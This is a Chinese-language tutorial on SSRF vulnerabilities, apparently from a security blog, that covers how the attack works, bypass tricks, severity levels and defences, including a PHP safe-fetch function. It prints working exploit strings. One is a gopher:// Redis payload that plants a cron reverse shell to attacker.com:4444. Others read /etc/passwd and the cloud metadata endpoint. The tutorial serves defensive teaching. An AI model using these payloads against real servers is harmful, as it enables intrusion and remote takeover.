NVIDIA修复Windows GPU显卡驱动程序中的高危漏洞
字数 1477 2025-08-18 11:39:23
Web安全:SSRF漏洞原理与防御详解
一、SSRF漏洞概述
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。攻击者能够利用目标服务器作为代理,发起非预期的网络请求,可能导致以下危害:
- 访问内部系统
- 攻击内网应用
- 扫描内网端口
- 读取本地文件
- 与内网Web应用进行交互
二、漏洞原理分析
1. 基本攻击流程
攻击者 → 构造恶意请求 → 目标服务器 → 发起非预期请求 → 内部系统/外部系统
2. 常见触发场景
- 在线翻译功能
- 图片/文件加载功能
- 数据采集功能
- 网页快照功能
- 远程资源下载
- 数据库内置功能(如Redis的备份功能)
3. 关键漏洞点
- 服务器未对用户输入的URL进行严格验证
- 服务器能够访问内网资源
- 请求返回内容对攻击者可见
三、漏洞利用技术
1. 基本利用方式
GET /api/fetch?url=http://attacker.com HTTP/1.1
Host: vulnerable.com
2. 协议利用
- HTTP/HTTPS:最常见的利用方式
- FILE协议:读取本地文件
file:///etc/passwd - DICT协议:获取服务信息
dict://localhost:6379/info - GOPHER协议:支持多行输入,可构造复杂攻击
gopher://localhost:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a - FTP协议:用于文件操作
3. 绕过技术
(1) IP地址绕过
- 十进制IP:
2130706433→127.0.0.1 - 八进制IP:
0177.0.0.1→127.0.0.1 - 十六进制IP:
0x7f.0x0.0x0.0x1→127.0.0.1 - 混合格式:
127.1→127.0.0.1 - 特殊域名:
localhost、localtest.me
(2) URL解析差异
- 添加端口:
http://127.0.0.1:80@attacker.com - 使用特殊字符:
http://127.0.0.1%2523@attacker.com - 域名重定向:利用可控的域名指向内网IP
(3) DNS重绑定
- 攻击者控制一个域名并配置极短的TTL
- 第一次解析返回合法IP通过验证
- 服务器实际请求时解析返回内网IP
四、漏洞危害等级
| 攻击场景 | 危害等级 |
|---|---|
| 读取本地文件 | 中高 |
| 扫描内网端口 | 中 |
| 攻击Redis等内网服务 | 高 |
| 访问元数据服务 | 高 |
| 结合RCE漏洞 | 严重 |
五、漏洞防御方案
1. 输入验证
- 白名单校验域名和协议
- 禁止访问内网IP(RFC1918):
10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 127.0.0.0/8 - 解析URL后验证实际请求的IP
2. 协议限制
- 仅允许HTTP/HTTPS协议
- 禁用危险协议(FILE、DICT、GOPHER等)
3. 网络层防护
- 服务器网络配置限制外连
- 使用中间代理服务器并配置安全策略
- 禁用不必要的URL库功能
4. 其他措施
- 禁用CURLOPT_FOLLOWLOCATION
- 设置CURLOPT_TIMEOUT限制请求时间
- 验证响应内容类型
- 使用沙箱环境处理不可信请求
5. 代码示例(PHP)
function safe_fetch_url($url) {
// 解析URL
$parsed = parse_url($url);
if (!$parsed || !isset($parsed['host'])) {
return false;
}
// 协议白名单
$allowed_schemes = ['http', 'https'];
if (!in_array(strtolower($parsed['scheme']), $allowed_schemes)) {
return false;
}
// 解析域名获取真实IP
$ip = gethostbyname($parsed['host']);
// 内网IP黑名单
$is_private = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
if ($is_private === false) {
return false;
}
// 发起请求
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
六、测试与验证
1. 测试用例
# 基本测试
/api/fetch?url=http://127.0.0.1
# 协议测试
/api/fetch?url=file:///etc/passwd
/api/fetch?url=dict://localhost:6379/info
# 绕过测试
/api/fetch?url=http://2130706433
/api/fetch?url=http://localhost%[email protected]/
/api/fetch?url=http://127.0.0.1.nip.io
2. 自动化工具
- SSRFmap
- Gopherus
- Burp Suite Collaborator
七、云环境特殊考虑
1. 元数据服务风险
AWS元数据地址:
http://169.254.169.254/latest/meta-data/
防御措施:
- 云防火墙阻止对169.254.169.254的访问
- 应用程序层过滤相关请求
2. 服务间API风险
- 限制IAM角色权限
- 使用VPC端点而非公网端点
- 启用服务间TLS认证
八、总结
SSRF漏洞的危害程度取决于服务器在内网中的位置和权限。防御SSRF需要多层次的安全措施,包括严格的输入验证、网络层限制和最小权限原则。在云原生环境中,还需要特别关注元数据服务和内部API的安全配置。